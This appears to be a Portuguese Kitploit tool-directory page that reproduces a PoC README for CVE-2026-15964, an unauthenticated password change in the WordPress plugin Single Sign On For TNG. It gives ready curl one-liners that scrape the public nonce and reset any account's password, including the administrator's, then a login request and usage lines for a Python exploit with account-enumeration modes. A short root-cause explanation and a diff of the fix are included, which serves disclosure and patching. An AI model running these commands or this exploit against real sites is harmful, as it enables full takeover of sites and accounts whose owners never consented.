Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-15964-PoC — PoC e verificador para CVE-2026-15964 - alteração de senha não autenticada no plugin WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8) | Kitploit
Ferramentas/GitHubGitHub/instructor-admin/cve-2026-15964-poc
Autenticação e AutorizaçãoEscalada de PrivilégiosScanners de Vulnerabilidades WebExploraçãoExploração de Aplicações WebColeta de InformaçõesSegurança WebTestes de Penetração

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHubinstructor-admin/cve-2026-15964-poc

CVE-2026-15964-PoC

PoC e verificador para CVE-2026-15964 - alteração de senha não autenticada no plugin WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8)

Ver Repositório
113há 1 mêsAinda não revisado

CVE-2026-15964 - Single Sign On For TNG <= 2.0.0

POC

Escalação de privilégios não autenticada via alteração de senha não verificada no plugin WordPress Single Sign On For TNG.

SeveridadeCrítica (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-620 (Alteração de Senha Não Verificada)
Afetadasversões do plugin 1.0.0 a 2.0.0
Corrigido em2.1.0 (lançado em 2026-07-27)
Publicado2026-08-01
Autenticação necessárianenhuma (wp_ajax_nopriv_ssoprocess_ajax)
Impactoalterar a senha de qualquer conta WordPress, incluindo administradores — comprometimento total do site
Pluginhttps://wordpress.org/plugins/single-sign-on-for-tng/

TL;DR

Qualquer visitante não autenticado pode alterar a senha de qualquer conta em um site que execute o plugin na versão 2.0.0 ou anterior. Duas requisições HTTP:

  1. Faça GET na homepage e copie o nonce do objeto JavaScript SSOPWDREQUIREMENT.
  2. Envie-o via POST para admin-ajax.php com operation=setnewpassword, um e-mail de vítima e uma nova senha.

A função reset_password() do núcleo do WordPress faz o resto. Sem token, sem link de confirmação por e-mail, sem verificação de capacidade. Depois, faça login como administrador.

NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}

Por que isso funciona

O handler está registrado para usuários não autenticados

Em single-sign-on-for-tng.php (v2.0.0):

add_action('wp_ajax_ssoprocess_ajax',        array($this, 'ssoprocess_ajax'));   // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax'));   // line 69

wp_ajax_nopriv_* significa que o handler é acessível sem nenhuma sessão.

A única proteção é um nonce que o plugin entrega a todo visitante

load_scripts() está conectado a wp_enqueue_scripts, portanto, em toda página do front-end, o plugin imprime isto no HTML:

wp_localize_script('general_script','SSOPWDREQUIREMENT',
    array('passwordspec'=>PASSWORDSPEC,
          'url'=>admin_url('admin-ajax.php'),
          'nonce'=>wp_create_nonce("ssoajaxnonce")));                              // line 96

Que é renderizado como:

<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>

E o handler verifica assim:

public function ssoprocess_ajax() {
    global $wpdb;
    check_ajax_referer('ssoajaxnonce', 'nonce');   // line 104
    ...

A pegadinha: o WordPress calcula nonces com wp_create_nonce($action) usando o uid e o token de sessão. Para visitantes deslogados, esses valores são 0 e uma string vazia, o que significa que todo visitante anônimo recebe exatamente o mesmo nonce. Ele só é gerado novamente a cada 12 horas (o tick do nonce). Portanto, o nonce que o plugin imprime para qualquer visitante também é válido para o atacante — não há segredo para roubar; ele é publicado na própria página.

E então a alteração em si, sem nenhuma prova de propriedade

switch ($op) {
    case 'setnewpassword':
        if (!isset($post['email']) || !isset($post['password'])) { ... }
        $email = wp_unslash($post['email']);
        $user  = get_user_by('email', $email);
        if ($user !== false) {
            reset_password($user, $post['password']);   // line 120
            ...
            wp_send_json_success(array('success'=>true));
        }
        else
            wp_send_json_error(array('success'=>false));
        break;

reset_password() é uma função do núcleo do WordPress. Ela define o novo hash, encerra a sessão da vítima em todas as outras sessões e dispara as ações password_reset / after_password_reset. Aqui, ela é chamada sem nada que prove que quem a invoca é o dono da conta.

Dois extras que vale a pena conhecer:

  • Nenhuma verificação de força de senha no servidor neste caminho. As regras de MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC do plugin só são aplicadas em validate_form() para formulários Forminator, nunca aqui. Qualquer senha é aceita.
  • Enumeração de contas. {"success":true} vs {"success":false} indica se um e-mail está registrado. O modo --enum-only do verificador usa isso.
  • Bug bônus na mesma função: operation=set_tzoffset chama update_option('localtzoffset', $post['timezoneoffset']) sem autenticação. Não é diretamente explorável para RCE, mas é uma escrita de opção não autenticada e vale mencionar no writeup.

O que mudou na versão 2.1.0

Comparar a 2.0.0 com a 2.1.0 torna a correção óbvia (e confirma o bug):

             case 'setnewpassword':
+                $timeout = intval($post['timeout']);
+                if (time() > $timeout) {
+                    // clears custom_recovery_token / _expiration / _nonce user meta
+                    wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+                    return;
+                }
                 $email = wp_unslash($post['email']);
                 $user  = get_user_by('email',$email);
                 if ($user !== false) {
                     reset_password($user,$post['password']);

além disso, em newpasswordform():

+            if (empty($_GET['uid']))
+                return ... "An unexpected error occurred." ...
+            $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+            // The nonce is checked here
+            if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+                return ... "This recovery link is no longer valid." ...

Então, na versão 2.1.0, o fluxo é: uma solicitação real de recuperação armazena um custom_recovery_token + custom_recovery_nonce por usuário nos metadados do usuário, o link de recuperação carrega o ID do usuário, o formulário valida ambos, e o handler AJAX se recusa a executar depois que a janela de recuperação (timeout) expirar. Um atacante que não consiga produzir um registro de recuperação válido não consegue mais acionar setnewpassword.


Reprodução (manual)

Passo 1 - extrair o nonce

curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"

Passo 2 - alterar a senha

curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"

Resposta esperada em uma instalação vulnerável: {"success":true}

Passo 3 - fazer login

curl -sk -X POST https://target/wp-login.php \
  -d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"

PoC: CVE-2026-15964.py

Exploit para um único site. Modos não destrutivos incluídos.

# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'

# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only

# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12

# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only

# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check

Baixar ferramenta